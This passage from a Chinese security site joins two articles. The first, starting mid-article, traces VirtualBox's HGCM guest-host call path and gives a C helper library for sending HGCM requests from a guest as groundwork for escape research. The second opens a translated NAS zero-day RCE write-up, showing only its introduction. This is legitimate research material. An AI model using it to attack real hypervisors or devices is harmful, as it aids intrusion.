ResolveService得到服务模块句柄以后，就通过`CreateAndConnectClient`函数调用模块中初始化的函数
if (RT_SUCCESS(rc))
{
/* Call the service instance method. */
rc = pService->CreateAndConnectClient(pMsg->pu32ClientId,
0,
pMsg->pHGCMPort->pfnGetRequestor(pMsg->pHGCMPort, pMsg->pCmd),
pMsg->pHGCMPort->pfnIsCmdRestored(pMsg->pHGCMPort, pMsg->pCmd));
/* Release the service after resolve. */
pService->ReleaseService();
}
CreateAndConnectClient函数如下
/* Create a new client instance and connect it to the service.
*
* @param pu32ClientIdOut If not NULL, then the method must generate a new handle for the client.
* If NULL, use the given 'u32ClientIdIn' handle.
* @param u32ClientIdIn The handle for the client, when 'pu32ClientIdOut' is NULL.
* @param fRequestor The requestor flags, VMMDEV_REQUESTOR_LEGACY if not available.
* @param fRestoring Set if we're restoring a saved state.
* @return VBox status code.
*/
int HGCMService::CreateAndConnectClient(uint32_t *pu32ClientIdOut, uint32_t u32ClientIdIn, uint32_t fRequestor, bool fRestoring)
{
LogFlowFunc(("pu32ClientIdOut = %p, u32ClientIdIn = %d, fRequestor = %#x, fRestoring = %d\n",
pu32ClientIdOut, u32ClientIdIn, fRequestor, fRestoring));
/* Allocate a client information structure. */
HGCMClient *pClient = new (std::nothrow) HGCMClient(fRequestor);
if (!pClient)
{
Log1WarningFunc(("Could not allocate HGCMClient!!!\n"));
return VERR_NO_MEMORY;
}
uint32_t handle;
if (pu32ClientIdOut != NULL)
{
handle = hgcmObjGenerateHandle(pClient);
}
else
{
handle = hgcmObjAssignHandle(pClient, u32ClientIdIn);
}
LogFlowFunc(("client id = %d\n", handle));
AssertRelease(handle);
/* Initialize the HGCM part of the client. */
int rc = pClient->Init(this);
if (RT_SUCCESS(rc))
{
/* Call the service. */
HGCMMsgCore *pCoreMsg;
rc = hgcmMsgAlloc(m_pThread, &pCoreMsg, SVC_MSG_CONNECT, hgcmMessageAllocSvc);
if (RT_SUCCESS(rc))
{
HGCMMsgSvcConnect *pMsg = (HGCMMsgSvcConnect *)pCoreMsg;
pMsg->u32ClientId = handle;
pMsg->fRequestor = fRequestor;
pMsg->fRestoring = fRestoring;
rc = hgcmMsgSend(pMsg);
if (RT_SUCCESS(rc))
{
/* Add the client Id to the array. */
if (m_cClients == m_cClientsAllocated)
{
const uint32_t cDelta = 64;
/* Guards against integer overflow on 32bit arch and also limits size of m_paClientIds array to 4GB*/
if (m_cClientsAllocated < UINT32_MAX / sizeof(m_paClientIds[0]) - cDelta)
{
uint32_t *paClientIdsNew;
paClientIdsNew = (uint32_t *)RTMemRealloc(m_paClientIds,
(m_cClientsAllocated + cDelta) * sizeof(m_paClientIds[0]));
Assert(paClientIdsNew);
if (paClientIdsNew)
{
m_paClientIds = paClientIdsNew;
m_cClientsAllocated += cDelta;
}
else
{
rc = VERR_NO_MEMORY;
}
}
else
{
rc = VERR_NO_MEMORY;
}
}
m_paClientIds[m_cClients] = handle;
m_cClients++;
}
}
}
if (RT_FAILURE(rc))
{
hgcmObjDeleteHandle(handle);
}
else
{
if (pu32ClientIdOut != NULL)
{
*pu32ClientIdOut = handle;
}
ReferenceService();
}
LogFlowFunc(("rc = %Rrc\n", rc));
return rc;
}
可以知道，模块的id值最终被存入`m_paClientIds[m_cClients]`，同时通过`*pu32ClientIdOut =
handle;`将值返回。
整个过程大概描述如下
### VBGL_IOCTL_HGCM_CALL
在分析完`VBGL_IOCTL_HGCM_CONNECT`操作以后，接下来就是分析`VBGL_IOCTL_HGCM_CALL`，其路线与前面分析的类似，首先会将IOCTL传入的数据指针转为`PVBGLIOCHGCMCALL`类型
#### PVBGLIOCHGCMCALL
/**
* For VBGL_IOCTL_HGCM_CALL and VBGL_IOCTL_HGCM_CALL_WITH_USER_DATA.
*
* @note This is used by alot of HGCM call structures.
*/
typedef struct VBGLIOCHGCMCALL
{
/** Common header. */
VBGLREQHDR Hdr;
/** Input: The id of the caller. */
uint32_t u32ClientID;
/** Input: Function number. */
uint32_t u32Function;
/** Input: How long to wait (milliseconds) for completion before cancelling the
* call. This is ignored if not a VBGL_IOCTL_HGCM_CALL_TIMED or
* VBGL_IOCTL_HGCM_CALL_TIMED_32 request. */
uint32_t cMsTimeout;
/** Input: Whether a timed call is interruptible (ring-0 only). This is ignored
* if not a VBGL_IOCTL_HGCM_CALL_TIMED or VBGL_IOCTL_HGCM_CALL_TIMED_32
* request, or if made from user land. */
bool fInterruptible;
/** Explicit padding, MBZ. */
uint8_t bReserved;
/** Input: How many parameters following this structure.
*
* The parameters are either HGCMFunctionParameter64 or HGCMFunctionParameter32,
* depending on whether we're receiving a 64-bit or 32-bit request.
*
* The current maximum is 61 parameters (given a 1KB max request size,
* and a 64-bit parameter size of 16 bytes).
*
* @note This information is duplicated by Hdr.cbIn, but it's currently too much
* work to eliminate this. */
uint16_t cParms;
/* Parameters follow in form HGCMFunctionParameter aParms[cParms] */
} VBGLIOCHGCMCALL, RT_FAR *PVBGLIOCHGCMCALL;
经过一些列调用，会来到`vgdrvIoCtl_HGCMCallInner`函数
#### vgdrvIoCtl_HGCMCallInner
static int vgdrvIoCtl_HGCMCallInner(PVBOXGUESTDEVEXT pDevExt, PVBOXGUESTSESSION pSession, PVBGLIOCHGCMCALL pInfo,
uint32_t cMillies, bool fInterruptible, bool f32bit, bool fUserData,
size_t cbExtra, size_t cbData)
{
const uint32_t u32ClientId = pInfo->u32ClientID;
uint32_t fFlags;
size_t cbActual;
unsigned i;
int rc;
/*
* Some more validations.
*/
if (RT_LIKELY(pInfo->cParms <= VMMDEV_MAX_HGCM_PARMS)) /* (Just make sure it doesn't overflow the next check.) */
{ /* likely */}
else
{
LogRel(("VBOXGUEST_IOCTL_HGCM_CALL: cParm=%RX32 is not sane\n", pInfo->cParms));
return VERR_INVALID_PARAMETER;
}
cbActual = cbExtra + sizeof(*pInfo);
#ifdef RT_ARCH_AMD64
if (f32bit)
cbActual += pInfo->cParms * sizeof(HGCMFunctionParameter32);
else
#endif
cbActual += pInfo->cParms * sizeof(HGCMFunctionParameter);
if (RT_LIKELY(cbData >= cbActual))
{ /* likely */}
else
{
LogRel(("VBOXGUEST_IOCTL_HGCM_CALL: cbData=%#zx (%zu) required size is %#zx (%zu)\n",
cbData, cbData, cbActual, cbActual));
return VERR_INVALID_PARAMETER;
}
pInfo->Hdr.cbOut = (uint32_t)cbActual;
........................................................
else
rc = VbglR0HGCMInternalCall(pInfo, cbInfo, fFlags, pSession->fRequestor,
vgdrvHgcmAsyncWaitCallback, pDevExt, cMillies);
}
.............................................................
return rc;
}
从中可以看到`cbActual += pInfo->cParms *
sizeof(HGCMFunctionParameter);`，并且该值最后赋值`pInfo->Hdr.cbOut =
(uint32_t)cbActual;`，由此可见`pInfo->cParms`代表需要调用的函数的参数个数，而pInfo结构体下方就是cParms个`HGCMFunctionParameter`结构体对象。与`VBGL_IOCTL_HGCM_CONNECT`类似，最后驱动也是通过`IO端口操作`将数据发送到Host中的虚拟设备中，然后在设备的`vmmdevReqDispatcher`函数中处理。
如下代码
# ifdef VBOX_WITH_64_BITS_GUESTS
case VMMDevReq_HGCMCall64:
# endif
case VMMDevReq_HGCMCall32:
vmmdevReqHdrSetHgcmAsyncExecute(pThis, GCPhysReqHdr, *ppLock);
pReqHdr->rc = vmmdevReqHandler_HGCMCall(pThis, pReqHdr, GCPhysReqHdr, tsArrival, ppLock);
Assert(pReqHdr->rc == VINF_HGCM_ASYNC_EXECUTE || RT_FAILURE_NP(pReqHdr->rc));
if (RT_SUCCESS(pReqHdr->rc))
*pfPostOptimize |= VMMDEVREQDISP_POST_F_NO_WRITE_OUT;
break;
该操作仍然是异步处理，需要等待处理完成后回调函数响应，将结果通过IO端口传回Guest。操作主要是调用`vmmdevHGCMCall`来对相应的service里的函数进行调用。
#### vmmdevHGCMCall
/**
* Handles VMMDevHGCMCall request.
*
* @returns VBox status code that the guest should see.
* @param pThis The VMMDev instance data.
* @param pHGCMCall The request to handle (cached in host memory).
* @param cbHGCMCall Size of the entire request (including HGCM parameters).
* @param GCPhys The guest physical address of the request.
* @param enmRequestType The request type. Distinguishes 64 and 32 bit calls.
* @param tsArrival The STAM_GET_TS() value when the request arrived.
* @param ppLock Pointer to the lock info pointer (latter can be
* NULL). Set to NULL if HGCM takes lock ownership.
*/
int vmmdevHGCMCall(PVMMDEV pThis, const VMMDevHGCMCall *pHGCMCall, uint32_t cbHGCMCall, RTGCPHYS GCPhys,
VMMDevRequestType enmRequestType, uint64_t tsArrival, PVMMDEVREQLOCK *ppLock)
{
.............................................................
rc = vmmdevHGCMCallFetchGuestParms(pThis, pCmd, pHGCMCall, cbHGCMCall, enmRequestType, cbHGCMParmStruct);
if (RT_SUCCESS(rc))
{
/* Copy guest data to host parameters, so HGCM services can use the data. */
rc = vmmdevHGCMInitHostParameters(pThis, pCmd, (uint8_t const *)pHGCMCall);
if (RT_SUCCESS(rc))
{
/*
* Pass the function call to HGCM connector for actual processing
*/
vmmdevHGCMAddCommand(pThis, pCmd);
#if 0 /* DONT ENABLE - for performance hacking. */
if ( pCmd->u.call.u32Function == 9
&& pCmd->u.call.cParms == 5)
{
vmmdevHGCMRemoveCommand(pThis, pCmd);
if (pCmd->pvReqLocked)
{
VMMDevHGCMRequestHeader volatile *pHeader = (VMMDevHGCMRequestHeader volatile *)pCmd->pvReqLocked;
pHeader->header.rc = VINF_SUCCESS;
pHeader->result = VINF_SUCCESS;
pHeader->fu32Flags |= VBOX_HGCM_REQ_DONE;
}
else
{
VMMDevHGCMRequestHeader *pHeader = (VMMDevHGCMRequestHeader *)pHGCMCall;
pHeader->header.rc = VINF_SUCCESS;
pHeader->result = VINF_SUCCESS;
pHeader->fu32Flags |= VBOX_HGCM_REQ_DONE;
PDMDevHlpPhysWrite(pThis->pDevInsR3, GCPhys, pHeader, sizeof(*pHeader));
}
vmmdevHGCMCmdFree(pThis, pCmd);
return VINF_HGCM_ASYNC_EXECUTE; /* ignored, but avoids assertions. */
}
#endif
rc = pThis->pHGCMDrv->pfnCall(pThis->pHGCMDrv, pCmd,
pCmd->u.call.u32ClientID, pCmd->u.call.u32Function,
pCmd->u.call.cParms, pCmd->u.call.paHostParms, tsArrival);
...................................................
return rc;
}
可以看出，vmmdevHGCMCall中首先是使用`vmmdevHGCMCallFetchGuestParms`函数和`vmmdevHGCMInitHostParameters`函数，将参数从Guest中拷贝到了设备本地缓冲区中，然后通过`pThis->pHGCMDrv->pfnCall`调用了对应的函数。
通过调试
In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Devices/VMMDev/VMMDevHGCM.cpp
1107 }
1108 #endif
1109
1110 rc = pThis->pHGCMDrv->pfnCall(pThis->pHGCMDrv, pCmd,
1111 pCmd->u.call.u32ClientID, pCmd->u.call.u32Function,
► 1112 pCmd->u.call.cParms, pCmd->u.call.paHostParms, tsArrival);
1113
1114 if (rc == VINF_HGCM_ASYNC_EXECUTE)
1115 {
1116 /*
1117 * Done. Just update statistics and return.
pwndbg> s
638 }
639
640 static DECLCALLBACK(int) iface_hgcmCall(PPDMIHGCMCONNECTOR pInterface, PVBOXHGCMCMD pCmd, uint32_t u32ClientID,
641 uint32_t u32Function, uint32_t cParms, PVBOXHGCMSVCPARM paParms, uint64_t tsArrival)
可以知道该函数指针指向的是`iface_hgcmCall`函数
#### iface_hgcmCall
static DECLCALLBACK(int) iface_hgcmCall(PPDMIHGCMCONNECTOR pInterface, PVBOXHGCMCMD pCmd, uint32_t u32ClientID,
uint32_t u32Function, uint32_t cParms, PVBOXHGCMSVCPARM paParms, uint64_t tsArrival)
{
Log9(("Enter\n"));
PDRVMAINVMMDEV pDrv = RT_FROM_MEMBER(pInterface, DRVMAINVMMDEV, HGCMConnector);
if (!pDrv->pVMMDev || !pDrv->pVMMDev->hgcmIsActive())
return VERR_INVALID_STATE;
return HGCMGuestCall(pDrv->pHGCMPort, pCmd, u32ClientID, u32Function, cParms, paParms, tsArrival);
}
该函数简单的调用了`HGCMGuestCall`函数，而`HGCMGuestCall`函数继续调用`HGCMService::GuestCall`函数，同样也是通过`hgcmMsgPost`将消息挂到队列中，等待`hgcmServiceThread`线程取出消息并处理。
/*
* The service thread. Loads the service library and calls the service entry points.
*/
DECLCALLBACK(void) hgcmServiceThread(HGCMThread *pThread, void *pvUser)
{
HGCMService *pSvc = (HGCMService *)pvUser;
AssertRelease(pSvc != NULL);
/* Cache required information to avoid unnecessary pMsgCore access. */
uint32_t u32MsgId = pMsgCore->MsgId();
switch (u32MsgId)
{
case SVC_MSG_GUESTCALL:
{
HGCMMsgCall *pMsg = (HGCMMsgCall *)pMsgCore;
LogFlowFunc(("SVC_MSG_GUESTCALL u32ClientId = %d, u32Function = %d, cParms = %d, paParms = %p\n",
pMsg->u32ClientId, pMsg->u32Function, pMsg->cParms, pMsg->paParms));
HGCMClient *pClient = (HGCMClient *)hgcmObjReference(pMsg->u32ClientId, HGCMOBJ_CLIENT);
if (pClient)
{
pSvc->m_fntable.pfnCall(pSvc->m_fntable.pvService, (VBOXHGCMCALLHANDLE)pMsg, pMsg->u32ClientId,
HGCM_CLIENT_DATA(pSvc, pClient), pMsg->u32Function,
pMsg->cParms, pMsg->paParms, pMsg->tsArrival);
hgcmObjDereference(pClient);
}
else
{
rc = VERR_HGCM_INVALID_CLIENT_ID;
}
} break;
代码中，通过`HGCMClient *pClient = (HGCMClient *)hgcmObjReference(pMsg->u32ClientId,
HGCMOBJ_CLIENT);`获取到了`HGCMClient`服务对象，然后通过`pSvc->m_fntable.pfnCall`进入了对应服务的处理函数。
调试如下
In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedClipboard/service.cpp
407 void *pvClient,
408 uint32_t u32Function,
409 uint32_t cParms,
410 VBOXHGCMSVCPARM paParms[],
411 uint64_t tsArrival)
► 412 {
413 RT_NOREF_PV(tsArrival);
414 int rc = VINF_SUCCESS;
415
416 LogRel2(("svcCall: u32ClientID = %d, fn = %d, cParms = %d, pparms = %d\n",
417 u32ClientID, u32Function, cParms, paParms));
此时我们进入的是`SharedClipboard`服务的程序`svcCall`函数。对于`HostServices`目录下的各种服务都有一个`svcCall`函数的实现，由此可见，`svcCall`函数是服务程序的处理机入口。从代码可以看出这个函数是在`VBoxHGCMSvcLoad`中注册的
extern "C" DECLCALLBACK(DECLEXPORT(int)) VBoxHGCMSvcLoad (VBOXHGCMSVCFNTABLE *ptable)
{
int rc = VINF_SUCCESS;
g_pHelpers = ptable->pHelpers;
ptable->cbClient = sizeof (VBOXCLIPBOARDCLIENTDATA);
ptable->pfnUnload = svcUnload;
ptable->pfnConnect = svcConnect;
ptable->pfnDisconnect = svcDisconnect;
ptable->pfnCall = svcCall;
ptable->pfnHostCall = svcHostCall;
ptable->pfnSaveState = svcSaveState;
ptable->pfnLoadState = svcLoadState;
ptable->pfnRegisterExtension = svcRegisterExtension;
ptable->pfnNotify = NULL;
ptable->pvService = NULL;
/* Service specific initialization. */
rc = svcInit ();
.................................................
至此，我们对于`VBGL_IOCTL_HGCM_CALL`调用Service中的函数的整个流程也有所清楚了。
### VBGL_IOCTL_IDC_DISCONNECT
对于`VBGL_IOCTL_IDC_DISCONNECT`，流程与前面类似，比较简单，调用了对应服务的`DisconnectClient`函数，然后使用`hgcmObjDereference(pClient);`将服务句柄从设备缓存列表中移除。
case HGCM_MSG_DISCONNECT:
{
HGCMMsgMainDisconnect *pMsg = (HGCMMsgMainDisconnect *)pMsgCore;
LogFlowFunc(("HGCM_MSG_DISCONNECT u32ClientId = %d\n",
pMsg->u32ClientId));
HGCMClient *pClient = (HGCMClient *)hgcmObjReference(pMsg->u32ClientId, HGCMOBJ_CLIENT);
if (!pClient)
{
rc = VERR_HGCM_INVALID_CLIENT_ID;
break;
}
/* The service the client belongs to. */
HGCMService *pService = pClient->pService;
/* Call the service instance to disconnect the client. */
rc = pService->DisconnectClient(pMsg->u32ClientId, false);
hgcmObjDereference(pClient);
} break;
至此，我们对HGCM协议已经有了进一步的深刻了解。
## 0x02 HGCM调用库封装
经过上面的协议源代码分析，我们可以很轻松的写出HGCM的调用方法，国外`niklasb`大牛已经做了一个python版的封装库名为[3dpwn](https://github.com/niklasb/3dpwn/)，而这里，我们自己同样实现了一个C语言版
### hgcm.h
#ifndef HGM_HELPER_H
#define HGM_HELPER_H
#define VBGLREQHDR_VERSION 0x10001
#define VBGLREQHDR_TYPE_DEFAULT 0
#define VERR_INTERNAL_ERROR -225
#define VBGL_IOCTL_CODE_SIZE(func, size) (0xc0005600 + (size<<16) + func)
#define VBGL_IOCTL_HGCM_CONNECT VBGL_IOCTL_CODE_SIZE(4, VBGL_IOCTL_HGCM_CONNECT_SIZE)
#define VBGL_IOCTL_HGCM_CONNECT_SIZE sizeof(VBGLIOCHGCMCONNECT)
# define VBGL_IOCTL_HGCM_DISCONNECT VBGL_IOCTL_CODE_SIZE(5, VBGL_IOCTL_HGCM_DISCONNECT_SIZE)
# define VBGL_IOCTL_HGCM_DISCONNECT_SIZE sizeof(VBGLIOCHGCMDISCONNECT)
#define IOCTL_HGCM_CALL 7
/** Guest Physical Memory Address; limited to 64 bits.*/
typedef uint64_t RTGCPHYS64;
/** Unsigned integer which can contain a 64 bits GC pointer. */
typedef uint64_t RTGCUINTPTR64;
/** Guest context pointer, 64 bits.
*/
typedef RTGCUINTPTR64 RTGCPTR64;
typedef uint8_t bool;
typedef struct VBGLREQHDR
{
/** IN: The request input size, and output size if cbOut is zero.
* @sa VMMDevRequestHeader::size */
uint32_t cbIn;
/** IN: Structure version (VBGLREQHDR_VERSION)
* @sa VMMDevRequestHeader::version */
uint32_t uVersion;
/** IN: The VMMDev request type, set to VBGLREQHDR_TYPE_DEFAULT unless this is a
* kind of VMMDev request.
* @sa VMMDevRequestType, VMMDevRequestHeader::requestType */
uint32_t uType;
/** OUT: The VBox status code of the operation, out direction only. */
int32_t rc;
/** IN: The output size. This is optional - set to zero to use cbIn as the
* output size. */
uint32_t cbOut;
/** Reserved / filled in by kernel, MBZ.
* @sa VMMDevRequestHeader::fRequestor */
uint32_t uReserved;
} VBGLREQHDR;
/**
* HGCM host service location.
* @ingroup grp_vmmdev_req
*/
typedef struct
{
char achName[128]; /**< This is really szName. */
} HGCMServiceLocationHost;
typedef enum
{
VMMDevHGCMLoc_Invalid = 0,
VMMDevHGCMLoc_LocalHost = 1,
VMMDevHGCMLoc_LocalHost_Existing = 2,
VMMDevHGCMLoc_SizeHack = 0x7fffffff
} HGCMServiceLocationType;
/**
* HGCM service location.
* @ingroup grp_vmmdev_req
*/
typedef struct HGCMSERVICELOCATION
{
/** Type of the location. */
HGCMServiceLocationType type;
union
{
HGCMServiceLocationHost host;
} u;
} HGCMServiceLocation;
typedef struct VBGLIOCHGCMCONNECT
{
/** The header. */
VBGLREQHDR Hdr;
union
{
struct
{
HGCMServiceLocation Loc;
} In;
struct
{
uint32_t idClient;
} Out;
} u;
} VBGLIOCHGCMCONNECT;
/**
* For VBGL_IOCTL_HGCM_CALL and VBGL_IOCTL_HGCM_CALL_WITH_USER_DATA.
*
* @note This is used by alot of HGCM call structures.
*/
typedef struct VBGLIOCHGCMCALL
{
/** Common header. */
VBGLREQHDR Hdr;
/** Input: The id of the caller. */
uint32_t u32ClientID;
/** Input: Function number. */
uint32_t u32Function;
/** Input: How long to wait (milliseconds) for completion before cancelling the
* call. This is ignored if not a VBGL_IOCTL_HGCM_CALL_TIMED or
* VBGL_IOCTL_HGCM_CALL_TIMED_32 request. */
uint32_t cMsTimeout;
/** Input: Whether a timed call is interruptible (ring-0 only). This is ignored
* if not a VBGL_IOCTL_HGCM_CALL_TIMED or VBGL_IOCTL_HGCM_CALL_TIMED_32
* request, or if made from user land. */
bool fInterruptible;
/** Explicit padding, MBZ. */
uint8_t bReserved;
/** Input: How many parameters following this structure.
*
* The parameters are either HGCMFunctionParameter64 or HGCMFunctionParameter32,
* depending on whether we're receiving a 64-bit or 32-bit request.
*
* The current maximum is 61 parameters (given a 1KB max request size,
* and a 64-bit parameter size of 16 bytes).
*
* @note This information is duplicated by Hdr.cbIn, but it's currently too much
* work to eliminate this. */
uint16_t cParms;
/* Parameters follow in form HGCMFunctionParameter aParms[cParms] */
} VBGLIOCHGCMCALL;
/**
* HGCM parameter type.
*/
typedef enum
{
VMMDevHGCMParmType_Invalid = 0,
VMMDevHGCMParmType_32bit = 1,
VMMDevHGCMParmType_64bit = 2,
VMMDevHGCMParmType_PhysAddr = 3, /**< @deprecated Doesn't work, use PageList. */
VMMDevHGCMParmType_LinAddr = 4, /**< In and Out */
VMMDevHGCMParmType_LinAddr_In = 5, /**< In (read; host<-guest) */
VMMDevHGCMParmType_LinAddr_Out = 6, /**< Out (write; host->guest) */
VMMDevHGCMParmType_LinAddr_Locked = 7, /**< Locked In and Out */
VMMDevHGCMParmType_LinAddr_Locked_In = 8, /**< Locked In (read; host<-guest) */
VMMDevHGCMParmType_LinAddr_Locked_Out = 9, /**< Locked Out (write; host->guest) */
VMMDevHGCMParmType_PageList = 10, /**< Physical addresses of locked pages for a buffer. */
VMMDevHGCMParmType_Embedded = 11, /**< Small buffer embedded in request. */
VMMDevHGCMParmType_ContiguousPageList = 12, /**< Like PageList but with physically contiguous memory, so only one page entry. */
VMMDevHGCMParmType_SizeHack = 0x7fffffff
} HGCMFunctionParameterType;
# pragma pack(4)
typedef struct
{
HGCMFunctionParameterType type;
union
{
uint32_t value32;
uint64_t value64;
struct
{
uint32_t size;
union
{
RTGCPHYS64 physAddr;
RTGCPTR64 linearAddr;
} u;
} Pointer;
struct
{
uint32_t size; /**< Size of the buffer described by the page list. */
uint32_t offset; /**< Relative to the request header, valid if size != 0. */
} PageList;
struct
{
uint32_t fFlags : 8; /**< VBOX_HGCM_F_PARM_*. */
uint32_t offData : 24; /**< Relative to the request header, valid if cb != 0. */
uint32_t cbData; /**< The buffer size. */
} Embedded;
} u;
} HGCMFunctionParameter64;
typedef struct VBGLIOCHGCMDISCONNECT
{
/** The header. */
VBGLREQHDR Hdr;
union
{
struct
{
uint32_t idClient;
} In;
} u;
} VBGLIOCHGCMDISCONNECT;
#endif
### hgcm.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdarg.h>
#include "hgcm.h"
void die(char *msg) {
perror(msg);
exit(-1);
}
//device fd
int fd;
int hgcm_connect(const char *service_name) {
VBGLIOCHGCMCONNECT data = {
.Hdr.cbIn = sizeof(VBGLIOCHGCMCONNECT),
.Hdr.uVersion = VBGLREQHDR_VERSION,
.Hdr.uType = VBGLREQHDR_TYPE_DEFAULT,
.Hdr.rc = VERR_INTERNAL_ERROR,
.Hdr.cbOut = sizeof(VBGLREQHDR) + sizeof(uint32_t),
.Hdr.uReserved = 0,
.u.In.Loc.type = VMMDevHGCMLoc_LocalHost_Existing
};
memset(data.u.In.Loc.u.host.achName,0,128);
strncpy(data.u.In.Loc.u.host.achName,service_name,128);
ioctl(fd,VBGL_IOCTL_HGCM_CONNECT,&data);
if (data.Hdr.rc) { //error
return -1;
}
return data.u.Out.idClient;
}
HGCMFunctionParameter64 arg_buf[0x100];
int hgcm_call(int client_id,int func,char *params_fmt,...) {
va_list ap;
char *p,*bval,*type;
uint32_t ival;
uint64_t lval;
HGCMFunctionParameter64 params;
uint16_t index = 0;
va_start(ap,params_fmt);
for(p = params_fmt;*p;p++) {
if(*p!='%') {
continue;
}
switch (*++p) {
case 'u': //整数类型
ival = va_arg(ap,uint32_t);
params.type = VMMDevHGCMParmType_32bit;
params.u.value64 = 0;
params.u.value32 = ival;
arg_buf[index++] = params;
break;
case 'l':
lval = va_arg(ap,uint64_t);
params.type = VMMDevHGCMParmType_64bit;
params.u.value64 = lval;
arg_buf[index++] = params;
case 'b': //buffer类型
type = va_arg(ap,char *);
bval = va_arg(ap,char *);
ival = va_arg(ap,uint32_t);
if (!strcmp(type,"in")) {
params.type = VMMDevHGCMParmType_LinAddr_In;
} else if (!strcmp(type,"out")) {
params.type = VMMDevHGCMParmType_LinAddr_Out;
} else {
params.type = VMMDevHGCMParmType_LinAddr;
}
params.u.Pointer.size = ival;
params.u.Pointer.u.linearAddr = (uintptr_t)bval;
arg_buf[index++] = params;
break;
}
}
va_end(ap);
//printf("params count=%d\n",index);
uint8_t *data_buf = (uint8_t *)malloc(sizeof(VBGLIOCHGCMCALL) + sizeof(HGCMFunctionParameter64)*index);
VBGLIOCHGCMCALL data = {
.Hdr.cbIn = sizeof(VBGLIOCHGCMCALL) + sizeof(HGCMFunctionParameter64)*index,
.Hdr.uVersion = VBGLREQHDR_VERSION,
.Hdr.uType = VBGLREQHDR_TYPE_DEFAULT,
.Hdr.rc = VERR_INTERNAL_ERROR,
.Hdr.cbOut = sizeof(VBGLIOCHGCMCALL) + sizeof(HGCMFunctionParameter64)*index,
.Hdr.uReserved = 0,
.u32ClientID = client_id,
.u32Function = func,
.cMsTimeout = 100000, //忽略
.fInterruptible = 0,
.bReserved = 0,
.cParms = index
};
memcpy(data_buf,&data,sizeof(VBGLIOCHGCMCALL));
memcpy(data_buf+sizeof(VBGLIOCHGCMCALL),arg_buf,sizeof(HGCMFunctionParameter64)*index);
/*for (int i=0;i<sizeof(VBGLIOCHGCMCALL)+sizeof(HGCMFunctionParameter64)*index;i++) {
printf("%02x",data_buf[i]);
}
printf("\n");*/
ioctl(fd,VBGL_IOCTL_CODE_SIZE(IOCTL_HGCM_CALL,sizeof(VBGLIOCHGCMCALL) + sizeof(HGCMFunctionParameter64)*index),data_buf);
int error = ((VBGLIOCHGCMCALL *)data_buf)->Hdr.rc;
free(data_buf);
if (error) { //error
return error;
}
/*for (int i=0;i<sizeof(VBGLIOCHGCMCALL)+sizeof(HGCMFunctionParameter64)*index;i++) {
printf("%02x",data_buf[i]);
}
printf("\n");*/
return 0;
}
int hgcm_disconnect(int client_id) {
VBGLIOCHGCMDISCONNECT data = {
.Hdr.cbIn = sizeof(VBGLIOCHGCMDISCONNECT),
.Hdr.uVersion = VBGLREQHDR_VERSION,
.Hdr.uType = VBGLREQHDR_TYPE_DEFAULT,
.Hdr.rc = VERR_INTERNAL_ERROR,
.Hdr.cbOut = sizeof(VBGLREQHDR),
.Hdr.uReserved = 0,
.u.In.idClient = client_id,
};
ioctl(fd,VBGL_IOCTL_HGCM_DISCONNECT,&data);
if (data.Hdr.rc) { //error
return -1;
}
return 0;
}
int main() {
//打开设备
fd = open("/dev/vboxuser",O_RDWR);
if (fd == -1) {
die("open device error");
}
int idClient = hgcm_connect("VBoxGuestPropSvc");
printf("idClient=%d\n",idClient);
char ans[0x100] = {0};
int ret = hgcm_call(idClient,2,"%b%b","in","foo",4,"in","bar",4);
ret = hgcm_call(idClient,1,"%b%b%u%u","in","foo",4,"out",ans,0x100,0,0);
printf("%s\n",ans);
printf("%d\n",hgcm_disconnect(idClient));
}
## 0x03 感想
学习漏洞挖掘，不应该只依赖于现成的库或工具，就像本文，虽然`niklasb`大牛已经封装了`3dpwn`库，但是对于我们研究员来说，还是得先自己弄懂，自己动手写工具，才能明白其本质。
## 0x04 参考链接
[Investigating generic problems with the Linux Guest
Additions](https://www.virtualbox.org/wiki/LinuxAdditionsDebug)
[corelabs-Breaking_Out_of_VirtualBox_through_3D_Acceleration-Francisco_Falcon.pdf](https://www.coresecurity.com/sites/default/files/private-files/publications/2016/05/corelabs-Breaking_Out_of_VirtualBox_through_3D_Acceleration-Francisco_Falcon.pdf) | 社区文章 |
# 分析NetGear Stora、SeaGate Home以及Medion LifeCloud NAS上的RCE零日漏洞
原文链接：<http://www.paulosyibelo.com/2018/11/zero-day-rce-via-xxe-ssrf-on-netgear.html>
## 0x00 前言
不久之前，在听到加利福尼亚州对互联网连接设备安全性比较关注之后，[Daniel
Eshetu](https://twitter.com/kuncho_)和我正在探索当前流行的网络附加存储（NAS）设备的安全状态。
加利福尼亚消费者隐私权法案[要求](https://www.lexology.com/library/detail.aspx?g=3d1cac12-8262-488e-bdc5-532169411047)制造商拥有强化和高于平均水平的企业安全性，对设备非常关注，主要针对的是互联网连接的“物联网”设备。
在我看来，对于传播速度如此之快的设备，必须符合这样的安全标准，特别是如果这些设备被制造出来后无人维护，那更需要满足硬性要求。
在剖析第一个NAS的固件时，我们发现自己面对的并不是易被攻击的那些kumbaya代码库。
Axentra的代码比较干净，没有明显的后门，甚至有适当的安全措施，以防出现问题。 在线搜索后，我们可以找到大约200万台在线NAS。
这些都是有趣的目标、传播广泛、代码库较优秀。 我们的研究得到了隐私权倡导者WizCase的支持。
这是一篇长文章，详细介绍了如何利用棘手的XXE和SSRF实现RCE漏洞。
## 0x01 Axentra
Axentra Hipserv是一款运行在多种设备上的NAS操作系统，其中包括NetGear Stora、SeaGate Home以及Medion
LifeCloud NAS，并为不同设备提供基于云的登录、文件存储和管理功能。 不同供应商的不同设备都用到了这个系统。
该公司提供的固件主要以PHP页面作为后端Web界面。 Web界面具有rest API端点和具有文件管理器支持的非常典型的Web管理界面。
## 0x02 固件分析
使用binwalk提取固件后，我们发现后端源码位于`/var/www/html/`中，webroot位于`/var/www/html/html`中。
Web界面的主要处理程序是`homebase.php`，而`RESTAPIController.php`是其rest API的主要处理程序。
所有的php文件都使用具有公共解码器的[`IONCube`](http://www.ioncube.com/)进行编码的，由于使用的版本是旧版本，解码文件并不需要很长时间。
文件被解码后，我们继续查看源代码，其中大部分内容可读性较高。 在初步分析期间，我们查看了我们认为可能被利用的不同配置文件。
其中一个是位于`/etc`的`php.ini`，它包含配置行[`register_globals =
on`](https://phpsecurity.wordpress.com/2007/11/07/evil-register-globals-on/)，这非常令人兴奋，因为打开`register_globals`是一个非常不安全的配置，可能会导致许多漏洞存在。
